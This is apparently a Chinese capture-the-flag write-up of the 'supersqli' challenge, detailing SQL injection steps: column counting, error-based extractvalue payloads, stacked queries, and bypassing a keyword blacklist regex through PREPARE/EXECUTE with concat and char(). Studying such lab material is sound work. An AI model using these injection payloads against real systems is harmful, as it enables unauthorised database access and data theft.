supersqli-攻防世界

题目

加个'报错

1' and 1=1 #没报错判断为单引号字符注入

 爆显位

1' order by 2#回显正常

1' order by 3#报错

 

说明列数是2

 尝试联合查询

-1' union select 1,2#

被过滤了

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
    • select|update|delete|drop|insert|where:这部分表示匹配其中的任何一个单词。| 是一个逻辑“或”操作符,意味着它会匹配它前面的或后面的任何一个模式。
    • \.. 在正则表达式中是一个特殊字符,代表匹配任何字符(除了换行符)。为了匹配实际的点字符.,我们需要使用 \.
    • i:这是一个修饰符,表示匹配是不区分大小写的。
    • 代码会检查$inject字符串中是否包含“select”、“update”、“delete”、“drop”、“insert”、“where”或点.(不考虑大小写)。
      • 如果匹配到任何这些模式,preg_match会返回1,表示匹配成功。如果没有匹配到,它会返回0。
      • return 关键字表示这个函数会直接返回preg_match的结果。

SQL注入分类

根据参数类型:字符型,数字型、搜索型

根据提交方式:POST注入,GET注入,HTTP HEAD注入

根据有无回显:联合注入,报错注入,布尔盲注,延时注入

其他注入:堆叠注入,宽字节注入,二次注入等

尝试报错注入

爆数库版本

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))

 

爆数据库名

 1' and (extractvalue(1,concat(0x5c,database(),0x5c)))--+

 得到数据库名supersqli

但是后续爆表列等被过滤了

基本都被过滤了尝试堆叠注入

1';show databases;#

结合题目以及之前爆出的数据库名猜测flag在supersqli

爆当前数据库biao

0';show tables;#

 爆191字段

 1';show columns from `1919810931114514`;#

 查flag字段

1’;select 1,2,group_concat(flag) from 1919810931114514;#

又被过滤了

使用MySQL预处理语句

1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#

PREPARE test from concat('s','elect','* from 1919810931114514') 表示利用 CONCAT 函数拼接 SQL 语句字符串 'select * from 1919810931114514',并将结果赋值给 test 参数。

EXECUTE test;# 则执行了刚才定义的 SELECT 语句,查询1919810931114514表中的所有数据,并将查询结果输出

采用预编译绕过,

1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译
prEpare stmt from @sql; 设置变量
EXECUTE stmt;# 执行

char函数将ASCII值转字符实现select绕过

char函数:

SELECT CHAR(72, 101, 108, 108, 111);

以上 SQL 查询语句将返回字符串Hello 因为 H 对应 ASCII 码值为 72,e 对应 ASCII 码值为 101,l 对应 ASCII 码值为 108,o 对应 ASCII 码值为 111。

1';PREPARE w from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');EXECUTE w;#

 115,101,108,101,99,116对应select

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-03 19:56:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-03 19:56:02       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-03 19:56:02       82 阅读
  4. Python语言-面向对象

    2024-04-03 19:56:02       91 阅读

热门阅读

  1. 自定义注解实现对实体类的字段进行校验

    2024-04-03 19:56:02       37 阅读
  2. Redis入门--头歌实验Redis基本命令

    2024-04-03 19:56:02       30 阅读
  3. Android:身份证识别功能实现

    2024-04-03 19:56:02       34 阅读
  4. rk平台Android12屏幕永不休眠

    2024-04-03 19:56:02       29 阅读
  5. c++简介

    2024-04-03 19:56:02       37 阅读
  6. 模板字符串

    2024-04-03 19:56:02       33 阅读
  7. Wind10专业版打不开mstsc

    2024-04-03 19:56:02       31 阅读
  8. llama2学习-预训练+SFT指令微调(单机单卡)

    2024-04-03 19:56:02       34 阅读
  9. 现在做独立站的人多吗?独立站到底要怎么做?

    2024-04-03 19:56:02       32 阅读
  10. PTA城市间紧急救援(邻接表+Dijkstra)

    2024-04-03 19:56:02       39 阅读
  11. static关键字总结

    2024-04-03 19:56:02       31 阅读